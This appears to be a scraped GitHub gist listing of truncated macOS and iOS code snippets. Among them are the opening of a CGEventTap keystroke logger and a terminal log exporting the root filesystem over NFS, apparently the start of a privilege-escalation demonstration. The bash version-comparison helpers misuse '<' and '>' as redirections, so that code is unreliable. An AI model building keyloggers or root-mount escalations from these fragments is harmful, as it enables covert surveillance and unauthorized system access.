This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Super simple key logger that uses a CGEventTap to log | |
// the unicode strings for each key down event | |
// Doesn't handle special keys (enter, backspace, etc.) | |
#include <stdio.h> | |
#import <Carbon/Carbon.h> | |
#import <ApplicationServices/ApplicationServices.h> | |
CGEventRef loggerCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void* context) | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
storefront = { | |
'AL':'143575', | |
'DZ':'143563', | |
'AO':'143564', | |
'AI':'143538', | |
'AG':'143540', | |
'AR':'143505', | |
'AM':'143524', | |
'AU':'143460', | |
'AT':'143445', |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
landonf@zul:/tmp> cat macports-root-export | |
/ 127.0.0.1(ro,insecure,fixed) | |
landonf@zul:/tmp> unfsd -e /tmp/macports-root-export -d -l 127.0.0.1 -n 3248 -m 3248 -p& | |
[1] 15060 | |
landonf@zul:/tmp> UNFS3 unfsd 0.9.22 (C) 2006, Pascal Schmidt <unfs3-server@ewetel.net> | |
/: ip 127.0.0.1 mask 255.255.255.255 options 16 | |
landonf@zul:/tmp> mkdir /tmp/nfs-mount-root |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import Cocoa | |
// https://github.com/DouglasHeriot/AutoGrowingNSTextField | |
// for AutoLayout | |
class AutoGrowingTextField: NSTextField { | |
var minHeight: CGFloat? = 100 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
static func make(withKeychainItem keychainItem: SecKeychainItem) -> Credentials? { | |
var attributeTags = [SecItemAttr.accountItemAttr.rawValue] | |
var formatConstants = [UInt32(CSSM_DB_ATTRIBUTE_FORMAT_STRING)] | |
var attributeInfo = SecKeychainAttributeInfo(count: 1, tag: &attributeTags, format: &formatConstants) | |
var attributeList: UnsafeMutablePointer<SecKeychainAttributeList>? = nil | |
var passwordLength: UInt32 = 0 | |
var passwordPointer: UnsafeMutablePointer<Void>? = nil | |
let status = SecKeychainItemCopyAttributesAndData(keychainItem, |
The easiest way to get the ClamAV package is using Homebrew
$ brew install clamav
Before trying to start the clamd
process, you'll need a copy of the ClamAV databases.
Create a freshclam.conf
file and configure as so
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import Foundation | |
import WebKit | |
final class WebCacheCleaner { | |
class func clean() { | |
HTTPCookieStorage.shared.removeCookies(since: Date.distantPast) | |
print("[WebCacheCleaner] All cookies deleted") | |
WKWebsiteDataStore.default().fetchDataRecords(ofTypes: WKWebsiteDataStore.allWebsiteDataTypes()) { records in |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
As of iOS 11/macOS High Sierra, and only including ones in Foundation and CoreFoundation | |
Strings: | |
_NSCFString - a CFStringRef or CFMutableStringRef. This is the most common type of string object currently. | |
- May have 8 bit (ASCII) or 16 bit (UTF-16) backing store | |
_NSCFConstantString - a compile time constant CFStringRef, like you'd get with @"foo" | |
- May also be generated by dynamic string creation if matches a string in a pre-baked table of common strings called the StringROM | |
NSBigMutableString - an NSString backed by a CFStorage (https://github.com/opensource-apple/CF/blob/master/CFStorage.h) for faster handling of very large strings | |
NSCheapMutableString - a very limited NSMutableString that allows for zero-copy initialization. Used in NSFileManager for temporarily wrapping stack buffers. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
function version_gt() { test "$(printf '%s\n' "$@" | sort -V | head -n 1)" > "$1"; } | |
function version_eq() { test "$(printf '%s\n' "$@" | sort -V | head -n 1)" = "$1"; } | |
function version_lt() { test "$(printf '%s\n' "$@" | sort -V | head -n 1)" < "$1"; } | |
RUBY_VERSION=$(/usr/bin/ruby -v | awk '{print $2}' | cut -d'p' -f1) | |
echo "ruby version is ${RUBY_VERSION}" |
OlderNewer